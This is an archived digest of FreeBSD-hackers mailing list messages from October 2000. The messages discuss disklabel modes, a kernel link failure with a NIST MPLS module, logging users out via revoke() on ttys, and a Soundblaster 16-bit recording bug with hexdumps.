(envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20001030055307.B41250@dragon.nuxi.com> Date: Mon, 30 Oct 2000 10:47:38 -0800 (PST) From: John Baldwin To: "David O'Brien" Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux h Cc: hackers@FreeBSD.org Cc: hackers@FreeBSD.org, "freebsd-stable@FreeBSD.ORG" , Terry Lambert , Matt Dillon , Robert Nordier Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 30-Oct-00 David O'Brien wrote: > On Fri, Oct 27, 2000 at 01:10:56PM +0200, Robert Nordier wrote: >> Just doing the disklabel -w -r followed by the disklabel -B is creating >> a dangerously dedicated disk, > > Actually this is a "fully dedicated" disk. (made to look like a 50MB or > so disk to M$ products) > Sysinstall is used to create a "dangeriously dedicated" disk (when not > create slices. > > Yep, on the i386 we actually have three kinds of disklables. Actually, no, just two. :( I did some more checking later on a few months ago and found that 'disklabel auto' == 'dangerously dedicated' mode. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 10:51: 3 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtprch2.nortel.com (smtprch2.nortelnetworks.com [192.135.215.15]) by hub.freebsd.org (Postfix) with ESMTP id 16E3037B479; Mon, 30 Oct 2000 10:50:53 -0800 (PST) Received: from zrchb213.us.nortel.com (actually zrchb213) by smtprch2.nortel.com; Mon, 30 Oct 2000 12:45:20 -0600 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id ; Mon, 30 Oct 2000 12:49:24 -0600 Message-ID: From: "Hao Zhang" To: "'freebsd-net@freebsd.org'" , "'hackers@freebsd.org'" Subject: Building a custom kernel in 4.1 Date: Mon, 30 Oct 2000 12:49:24 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C042A2.1F5A2330" X-Orig: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C042A2.1F5A2330 Content-Type: text/plain; charset="windows-1252" > Hello, > I am familiar with the procedure of building a custom kernel under > FreeBSD3.3 but having a lot of difficulty when trying to follow the > procedure for FreeBSD4.1. Can anyone summarize the exact steps to build a > custom kernel under FreeBSD4.1(the documentation is a little confusing)? > > I am trying to build a custom kernel with a label module (from NIST) and the > build fails while trying to link with some of the function pointers of that > module. Below are the errors I get: > > **************************************************************************** > ************************************************* > > c -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmiss > ing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -an > si -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL -i > nclude opt_global.h -elf -mpreferred-stack-boundary=2 config.c > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmis > sing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -a > nsi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL - > include opt_global.h -elf -mpreferred-stack-boundary=2 setdef1.c > touch hack.c > cc -elf -shared -nostdlib hack.c -o hack.So > rm -f hack.c > sh /usr/src/sys/conf/newvers.sh MPLS > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmis > sing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -a > nsi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL - > include opt_global.h -elf -mpreferred-stack-boundary=2 vers.c > linking MPLS > if_ethersubr.o: In function `ether_demux': > if_ethersubr.o(.text+0x666): undefined reference to `lt_find_by_label_ptr' > if_ethersubr.o(.text+0x68c): undefined reference to `lt_find_by_label_ptr' > if_ethersubr.o(.text+0x6fd): undefined reference to `lt_find_by_label_ptr' > rtsock.o: In function `route_output': > rtsock.o(.text+0x8c6): undefined reference to `lt_add_ptr' > rtsock.o(.text+0x8d6): undefined reference to `lt_add_ptr' > rtsock.o(.text+0x8e6): undefined reference to `lt_rm_ptr' > rtsock.o(.text+0x8f6): undefined reference to `lt_rm_ptr' > rtsock.o(.text+0x909): undefined reference to `PrintLabelTable_ptr' > rtsock.o(.text+0x912): undefined reference to `PrintLabelTable_ptr' > *** Error code 1 > > Stop in /usr/obj/usr/src/sys/MPLS. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > **************************************************************************** > ************************************************* > > > Any quick help would be really appreciated. > > Syed Kamran Raza > Nortel Networks > > > > ------_=_NextPart_001_01C042A2.1F5A2330 Content-Type: text/html; charset="windows-1252" Building a custom kernel in 4.1

> Hello,
> I am familiar with the procedure of building a custom kernel under
> FreeBSD3.3 but having a lot of difficulty when trying to follow the
> procedure for FreeBSD4.1. Can anyone summarize the exact steps to build a
> custom kernel under FreeBSD4.1(the documentation is a little confusing)?
>
> I am trying to build a custom kernel with a label module (from NIST) and the
> build fails while trying to link with some of the function pointers of that
> module. Below are the errors I get:
>
> ****************************************************************************
> *************************************************
>
> c -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmiss
> ing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -an
> si  -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include  -D_KERNEL -i
> nclude opt_global.h -elf  -mpreferred-stack-boundary=2  config.c
> cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmis
> sing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -a
> nsi  -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include  -D_KERNEL -
> include opt_global.h -elf  -mpreferred-stack-boundary=2  setdef1.c
> touch hack.c
> cc -elf -shared -nostdlib hack.c -o hack.So
> rm -f hack.c
> sh /usr/src/sys/conf/newvers.sh MPLS
> cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmis
> sing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -a
> nsi  -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include  -D_KERNEL -
> include opt_global.h -elf  -mpreferred-stack-boundary=2  vers.c
> linking MPLS
> if_ethersubr.o: In function `ether_demux':
> if_ethersubr.o(.text+0x666): undefined reference to `lt_find_by_label_ptr'
> if_ethersubr.o(.text+0x68c): undefined reference to `lt_find_by_label_ptr'
> if_ethersubr.o(.text+0x6fd): undefined reference to `lt_find_by_label_ptr'
> rtsock.o: In function `route_output':
> rtsock.o(.text+0x8c6): undefined reference to `lt_add_ptr'
> rtsock.o(.text+0x8d6): undefined reference to `lt_add_ptr'
> rtsock.o(.text+0x8e6): undefined reference to `lt_rm_ptr'
> rtsock.o(.text+0x8f6): undefined reference to `lt_rm_ptr'
> rtsock.o(.text+0x909): undefined reference to `PrintLabelTable_ptr'
> rtsock.o(.text+0x912): undefined reference to `PrintLabelTable_ptr'
> *** Error code 1
>
> Stop in /usr/obj/usr/src/sys/MPLS.
> *** Error code 1
>
> Stop in /usr/src.
> *** Error code 1
> ****************************************************************************
> *************************************************
>
>
> Any quick help would be really appreciated.
>
> Syed Kamran Raza
> Nortel Networks
>
>
>
>

------_=_NextPart_001_01C042A2.1F5A2330-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 10:53:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 7D1F337B4CF; Mon, 30 Oct 2000 10:53:05 -0800 (PST) Received: from zeppo.feral.com (IDENT:mjacob@zeppo [192.67.166.71]) by feral.com (8.9.3/8.9.3) with ESMTP id KAA02553; Mon, 30 Oct 2000 10:53:06 -0800 Date: Mon, 30 Oct 2000 10:53:04 -0800 (PST) From: Matthew Jacob Reply-To: mjacob@feral.com To: John Baldwin Cc: "David O'Brien" , freebsd-stable@FreeBSD.ORG, hackers@FreeBSD.ORG, Matt Dillon Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux h In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 30 Oct 2000, John Baldwin wrote: > > On 30-Oct-00 David O'Brien wrote: > > On Fri, Oct 27, 2000 at 01:24:17PM -0700, Matt Dillon wrote: > >> I think that the days of the 'dangerously dedicated partition' are > >> numbered. > > > > Not quite. We don't do slices on the Alpha -- in fact our slice code > > royally screws the Alpha users as it isn't nicely layered and thus hard > > to avoid. > > But dangerously dedicated mode isn't used on the alpha. All of this > stuff is purely x86-specific. The alpha just uses a disklabel instead > of an MBR. Dangerously dedicated stuffs a disklabel into an MBR along > with other ugliness. Huh? This must be a semantic issue since alpha uses nothing but 'dangerously dedicated'- at least in terms of how to use disklabel to create a usable disk on FreeBSD alpha. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 11:14:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from chuggalug.clues.com (chuggalug.clues.com [194.159.1.85]) by hub.freebsd.org (Postfix) with ESMTP id E320C37B4CF for ; Mon, 30 Oct 2000 11:14:17 -0800 (PST) Received: (from geoffb@localhost) by chuggalug.clues.com (8.9.3/8.9.3) id TAA65027 for hackers@freebsd.org; Mon, 30 Oct 2000 19:19:07 GMT (envelope-from geoffb) Date: Mon, 30 Oct 2000 19:19:07 +0000 From: Geoff Buckingham To: hackers@freebsd.org Subject: SimNow X86-64 linux binary working? Message-ID: <20001030191907.B64519@chuggalug.clues.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Has anyone got the AMD x86-64 SimNow Simulator running under linux emulation in 4-STABLE? http://www.x86-64.org/downloads/ ....for the curious. -- GeoffB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 11:28:16 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from pike.osd.bsdi.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id 9099E37B479; Mon, 30 Oct 2000 11:28:12 -0800 (PST) Received: from laptop.baldwin.cx (ether.osd.bsdi.com [204.216.28.196]) by pike.osd.bsdi.com (8.11.0/8.9.3) with ESMTP id e9UJRPf77661; Mon, 30 Oct 2000 11:27:25 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Mon, 30 Oct 2000 11:28:22 -0800 (PST) From: John Baldwin To: Matthew Jacob Subject: Re: Really odd "BTX halted" problem booting FreeBSD on VALinux h Cc: Matt Dillon , hackers@FreeBSD.org, freebsd-stable@FreeBSD.org, "David O'Brien" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 30-Oct-00 Matthew Jacob wrote: > On Mon, 30 Oct 2000, John Baldwin wrote: > >> >> On 30-Oct-00 David O'Brien wrote: >> > On Fri, Oct 27, 2000 at 01:24:17PM -0700, Matt Dillon wrote: >> >> I think that the days of the 'dangerously dedicated partition' are >> >> numbered. >> > >> > Not quite. We don't do slices on the Alpha -- in fact our slice code >> > royally screws the Alpha users as it isn't nicely layered and thus hard >> > to avoid. >> >> But dangerously dedicated mode isn't used on the alpha. All of this >> stuff is purely x86-specific. The alpha just uses a disklabel instead >> of an MBR. Dangerously dedicated stuffs a disklabel into an MBR along >> with other ugliness. > > Huh? This must be a semantic issue since alpha uses nothing but 'dangerously > dedicated'- at least in terms of how to use disklabel to create a usable disk > on FreeBSD alpha. It is kind of semantic. However, on the alpha it is hardly dangerous. Nor do we fake a MBR on the alpha (which is what makes it dangerous). The alpha architecture doesn't use MBR's, but the PC arch does. Thus, having a disklabel on the alpha is normal, having one at the start of a PC disk requires ugly hacks that break the PC arch, hence the difference. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 11:45:17 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from snafu.adept.org (adsl-63-201-63-44.dsl.snfc21.pacbell.net [63.201.63.44]) by hub.freebsd.org (Postfix) with ESMTP id 1EF2A37B479; Mon, 30 Oct 2000 11:45:11 -0800 (PST) Received: by snafu.adept.org (Postfix, from userid 1000) id 29A469EE01; Mon, 30 Oct 2000 11:44:31 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by snafu.adept.org (Postfix) with ESMTP id 243FA9B001; Mon, 30 Oct 2000 11:44:31 -0800 (PST) Date: Mon, 30 Oct 2000 11:44:31 -0800 (PST) From: Mike Hoskins To: Hao Zhang Cc: "'freebsd-net@freebsd.org'" , "'hackers@freebsd.org'" Subject: Re: Building a custom kernel in 4.1 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, Did you follow these steps? http://snad.ncsl.nist.gov/itg/nistswitch/install.html According to 1.1, support for versions of Freebsd > 3.3 is 'in the works'. -mrh On Mon, 30 Oct 2000, Hao Zhang wrote: > > > Hello, > > I am familiar with the procedure of building a custom kernel under > > FreeBSD3.3 but having a lot of difficulty when trying to follow the > > procedure for FreeBSD4.1. Can anyone summarize the exact steps to build a > > custom kernel under FreeBSD4.1(the documentation is a little confusing)? > > > > I am trying to build a custom kernel with a label module (from NIST) and > the > > build fails while trying to link with some of the function pointers of > that > > module. Below are the errors I get: > > > > > **************************************************************************** > > ************************************************* > > > > c -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes > -Wmiss > > ing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions > -an > > si -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL > -i > > nclude opt_global.h -elf -mpreferred-stack-boundary=2 config.c > > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes > -Wmis > > sing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions > -a > > nsi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL > - > > include opt_global.h -elf -mpreferred-stack-boundary=2 setdef1.c > > touch hack.c > > cc -elf -shared -nostdlib hack.c -o hack.So > > rm -f hack.c > > sh /usr/src/sys/conf/newvers.sh MPLS > > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes > -Wmis > > sing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions > -a > > nsi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL > - > > include opt_global.h -elf -mpreferred-stack-boundary=2 vers.c > > linking MPLS > > if_ethersubr.o: In function `ether_demux': > > if_ethersubr.o(.text+0x666): undefined reference to `lt_find_by_label_ptr' > > if_ethersubr.o(.text+0x68c): undefined reference to `lt_find_by_label_ptr' > > if_ethersubr.o(.text+0x6fd): undefined reference to `lt_find_by_label_ptr' > > rtsock.o: In function `route_output': > > rtsock.o(.text+0x8c6): undefined reference to `lt_add_ptr' > > rtsock.o(.text+0x8d6): undefined reference to `lt_add_ptr' > > rtsock.o(.text+0x8e6): undefined reference to `lt_rm_ptr' > > rtsock.o(.text+0x8f6): undefined reference to `lt_rm_ptr' > > rtsock.o(.text+0x909): undefined reference to `PrintLabelTable_ptr' > > rtsock.o(.text+0x912): undefined reference to `PrintLabelTable_ptr' > > *** Error code 1 > > > > Stop in /usr/obj/usr/src/sys/MPLS. > > *** Error code 1 > > > > Stop in /usr/src. > > *** Error code 1 > > > **************************************************************************** > > ************************************************* > > > > > > Any quick help would be really appreciated. > > > > Syed Kamran Raza > > Nortel Networks > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 12:42:16 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gw.gbch.net (gw.gbch.net [203.24.22.66]) by hub.freebsd.org (Postfix) with SMTP id 0B5A937B479 for ; Mon, 30 Oct 2000 12:42:12 -0800 (PST) Received: (qmail 88715 invoked by uid 1001); 31 Oct 2000 06:42:04 +1000 X-Posted-By: GBA-Post 2.06 15-Sep-2000 X-PGP-Fingerprint: 5A91 6942 8CEA 9DAB B95B C249 1CE1 493B 2B5A CE30 Message-Id: Date: Tue, 31 Oct 2000 06:42:04 +1000 From: Greg Black To: Joe Greco Cc: hackers@freebsd.org, ryan@sasknow.com, andrew@ugh.net.au Subject: Re: Logging users out References: <200010301514.JAA55088@aurora.sol.net> In-reply-to: <200010301514.JAA55088@aurora.sol.net> of Mon, 30 Oct 2000 09:14:04 CST Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I wrote a little line program to do a revoke(), it was basically > > int main(int argc, char *argv[]) { revoke(argv[1]); } > > Now this doesn't kill a darn thing. And you should be aware of it! But it > does forcibly "close" any open fd's pointing at the tty in question, and > most programs will get the hint and go away. Not all programs, and that can lead to all sorts of problems with processes that never die. There are many stories of this happening with vi, for example. > For some uses, especially predictable uses, this is probably a lot simpler > and a lot more foolproof. Simple: yes. Foolproof: definitely no. -- Greg Black To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 13: 2:30 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from aurora.sol.net (aurora.sol.net [206.55.65.76]) by hub.freebsd.org (Postfix) with ESMTP id DBEF437B479 for ; Mon, 30 Oct 2000 13:02:26 -0800 (PST) Received: (from jgreco@localhost) by aurora.sol.net (8.9.3/8.9.2/SNNS-1.02) id PAA81188; Mon, 30 Oct 2000 15:02:16 -0600 (CST) From: Joe Greco Message-Id: <200010302102.PAA81188@aurora.sol.net> Subject: Re: Logging users out To: gjb@gbch.net (Greg Black) Date: Mon, 30 Oct 2000 15:02:16 -0600 (CST) Cc: hackers@freebsd.org, ryan@sasknow.com, andrew@ugh.net.au In-Reply-To: from "Greg Black" at Oct 31, 2000 06:42:04 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > I wrote a little line program to do a revoke(), it was basically > > > > int main(int argc, char *argv[]) { revoke(argv[1]); } > > > > Now this doesn't kill a darn thing. And you should be aware of it! But it > > does forcibly "close" any open fd's pointing at the tty in question, and > > most programs will get the hint and go away. > > Not all programs, and that can lead to all sorts of problems > with processes that never die. There are many stories of this > happening with vi, for example. That's why I said, "most programs". > > For some uses, especially predictable uses, this is probably a lot simpler > > and a lot more foolproof. > > Simple: yes. Foolproof: definitely no. Uh, well, "foolproof" != "calling ps and awk and grep and looking for processes". For ANY definition of foolproof. And it is certainly foolproof from the point of view that there's no way in hell for the session not to be terminated, unlike some ps garbage I've seen. It's also an interesting way for a user without root permissions to "kill" a suid process of some sort that happens to be running on a tty owned by the user - which can happen. But, again, it relies on proper attention by programs to dying upon close of std{out,in}. -- ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/342-4847 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 13:14:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtpproxy1.mitre.org (mb-20-100.mitre.org [129.83.20.100]) by hub.freebsd.org (Postfix) with ESMTP id 9D29D37B4C5 for ; Mon, 30 Oct 2000 13:14:39 -0800 (PST) Received: from avsrv1.mitre.org (avsrv1.mitre.org [129.83.20.58]) by smtpproxy1.mitre.org (8.9.3/8.9.3) with ESMTP id QAA12354 for ; Mon, 30 Oct 2000 16:14:32 -0500 (EST) Received: from mailsrv2.mitre.org (mailsrv2.mitre.org [129.83.221.17]) by smtpsrv1.mitre.org (8.9.3/8.9.3) with ESMTP id QAA23477 for ; Mon, 30 Oct 2000 16:14:31 -0500 (EST) Received: from mitre.org ([128.29.145.140]) by mailsrv2.mitre.org (Netscape Messaging Server 4.15) with ESMTP id G39HO600.REX; Mon, 30 Oct 2000 16:14:30 -0500 Message-ID: <39FDE4D7.1020C4B2@mitre.org> Date: Mon, 30 Oct 2000 16:15:03 -0500 From: "Andresen,Jason R." Organization: The MITRE Corporation X-Mailer: Mozilla 4.75 [en]C-20000818M (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Joe Greco Cc: Greg Black , hackers@FreeBSD.ORG, ryan@sasknow.com, andrew@ugh.net.au Subject: Re: Logging users out References: <200010302102.PAA81188@aurora.sol.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Joe Greco wrote: > > > > I wrote a little line program to do a revoke(), it was basically > > > > > > int main(int argc, char *argv[]) { revoke(argv[1]); } > > > > > > Now this doesn't kill a darn thing. And you should be aware of it! But it > > > does forcibly "close" any open fd's pointing at the tty in question, and > > > most programs will get the hint and go away. > > > > Not all programs, and that can lead to all sorts of problems > > with processes that never die. There are many stories of this > > happening with vi, for example. > > That's why I said, "most programs". > > > > For some uses, especially predictable uses, this is probably a lot simpler > > > and a lot more foolproof. > > > > Simple: yes. Foolproof: definitely no. > > Uh, well, "foolproof" != "calling ps and awk and grep and looking for > processes". For ANY definition of foolproof. > > And it is certainly foolproof from the point of view that there's no way > in hell for the session not to be terminated, unlike some ps garbage I've > seen. Unfortunatly, sometimes when processes suddenly lose stdin/stdout, they jump into infinate loops and start eating cpu cycles like crazy. I'd hate to see what happens when you kill off a significant number of people running these poorly behaved programs. FVWM95 Taskbars used to be notorious for this, I remember seeing upwards of a dozen of them vying for CPU time on some lab machines. -- _ _ _ ___ ____ ___ ______________________________________ / \/ \ | ||_ _|| _ \|___| | Jason Andresen -- jandrese@mitre.org / /\/\ \ | | | | | |/ /|_|_ | Views expressed may not reflect those /_/ \_\|_| |_| |_|\_\|___| | of the Mitre Corporation. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 13:27: 0 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from aurora.sol.net (aurora.sol.net [206.55.65.76]) by hub.freebsd.org (Postfix) with ESMTP id 2449237B4C5 for ; Mon, 30 Oct 2000 13:26:57 -0800 (PST) Received: (from jgreco@localhost) by aurora.sol.net (8.9.3/8.9.2/SNNS-1.02) id PAA83018; Mon, 30 Oct 2000 15:26:47 -0600 (CST) From: Joe Greco Message-Id: <200010302126.PAA83018@aurora.sol.net> Subject: Re: Logging users out To: jandrese@mitre.org (Andresen Jason R.) Date: Mon, 30 Oct 2000 15:26:47 -0600 (CST) Cc: gjb@gbch.net, hackers@FreeBSD.ORG, ryan@sasknow.com, andrew@ugh.net.au In-Reply-To: <39FDE4D7.1020C4B2@mitre.org> from "Andresen,Jason R." at Oct 30, 2000 04:15:03 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Unfortunatly, sometimes when processes suddenly lose stdin/stdout, they > jump into infinate loops and start eating cpu cycles like crazy. I'd > hate > to see what happens when you kill off a significant number of people > running > these poorly behaved programs. FVWM95 Taskbars used to be notorious for > this, > I remember seeing upwards of a dozen of them vying for CPU time on some > lab > machines. As an admin, you have to deal with those kinds of problems anyways, because in such an environment, things like that are simply going to happen (you may wish to note my .signature... got at least a decade of experience with it). I'm quite comfortable having the equivalent of "kill -9" for a tty, and not having to rely on "well did I kill the right process in order to make the tty log out". -- ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/342-4847 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 14: 4:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from aranea.de (dialin49.niederdorfelden.aranea.net [212.101.36.49]) by hub.freebsd.org (Postfix) with ESMTP id A226C37B479 for ; Mon, 30 Oct 2000 14:04:07 -0800 (PST) Received: (from roberte@localhost) by aranea.de (8.9.3/8.9.3) id XAA01037 for hackers@freebsd.org; Mon, 30 Oct 2000 23:03:49 +0100 (CET) (envelope-from roberte) From: Robert Eckardt Message-Id: <200010302203.XAA01037@aranea.de> Subject: No 16bit mode with newpcm for Soundblaster Creative Vibra 16C To: hackers@freebsd.org Date: Mon, 30 Oct 2000 23:03:49 +0100 (CET) X-Mailer: ELM [version 2.4ME+ PL77 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=ISO-8859-1 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all, a week ago I asked this already on -questions but got no reply. Therefore I pick -hackers as a more appropriate forum. During my holidays I found the time (after a broken VCR and some crashed hard disks) to work on video and sound recording on my new PC (details below). However, while /dev/dsp works fine for 8bit /dev/dspW doesn't work for 16bit at all. 16bit mode gives some cracks and beeps, nothing more, as can be seen from the following hexdumps: 22:54 axion: /big/re-work/video 141% hd dsp.cat | head 0000000: 7E 7E 7E 7E 7F 7F 7F 7E 7E 7F 7F 80 80 7F 80 80 ~~~~...~~....... 0000010: 81 80 7F 7E 7E 7F 7F 7E 7F 7F 7F 7F 7E 7E 7E 80 ...~~..~....~~~. 0000020: 81 81 7F 7F 7F 7F 7E 7E 7D 7E 7E 7E 7F 7E 7F 7F ......~~}~~~.~.. 0000030: 7F 7F 80 7F 7F 7F 7E 80 7F 80 80 7F 7F 7F 7E 7F ......~.......~. 0000040: 80 80 80 7F 7E 7E 7E 7E 7F 7F 7F 7E 7E 7E 7F 80 ....~~~~...~~~.. 0000050: 80 7E 7D 7E 7F 7F 7E 7E 7E 7F 7F 7F 7F 7E 7F 80 .~}~..~~~....~.. 0000060: 80 7F 7E 7E 7F 7F 80 7F 7E 7D 7E 7E 7F 80 7F 7E ..~~....~}~~...~ 0000070: 7E 7F 7F 7E 7D 7D 7E 7E 7E 7E 7E 7E 7E 7E 7E 7E ~..~}}~~~~~~~~~~ 0000080: 7D 7D 7D 7E 7E 7E 7E 7F 7F 7F 7E 7F 7F 7F 7F 7F }}}~~~~...~..... 0000090: 7F 7E 7E 7E 7E 7F 7F 80 7F 7F 7F 7F 7F 7F 7F 7F .~~~~........... 22:54 axion: /big/re-work/video 141% hd dspW.cat | head 0000000: 00 00 00 00 08 00 01 00 00 00 00 00 00 00 00 00 ................ 0000010: 00 00 00 00 F8 AF 05 18 A4 0E 05 18 B4 0D 05 18 ....ø¯..¤...´... 0000020: 50 0E 05 18 00 0E 05 18 00 00 00 00 00 00 00 00 P............... 0000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ * 0000050: 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 02 00 ................ 0000060: 00 00 00 00 00 00 00 00 00 00 00 00 50 B0 05 18 ............P°.. 0000070: A4 0E 05 18 B4 0D 05 18 50 0E 05 18 00 0E 05 18 ¤...´...P....... 0000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 80 ................ Some time ago I recorded the following interesting data from /dev/dspW: 0000000: 00 00 00 00 00 00 00 00 00 00 00 00 10 82 09 08 ................ 0000010: 00 80 00 80 00 80 00 80 00 80 00 80 10 02 09 88 ................ 0000020: 00 20 0A 08 FF FF FF FF 05 00 00 00 00 00 00 00 . ..ÿÿÿÿ........ 0000030: 3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <............... 0000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000050: 40 28 23 29 72 65 63 5F 73 65 71 2E 63 09 38 2E @(#)rec_seq.c.8. 0000060: 33 20 28 42 65 72 6B 65 6C 65 79 29 20 37 2F 31 3 (Berkeley) 7/1 0000070: 34 2F 39 34 00 00 00 00 5F 68 61 73 68 58 58 58 4/94...._hashXXX 0000080: 58 58 58 00 FF FF FF FF 00 00 00 00 FF FF FF FF 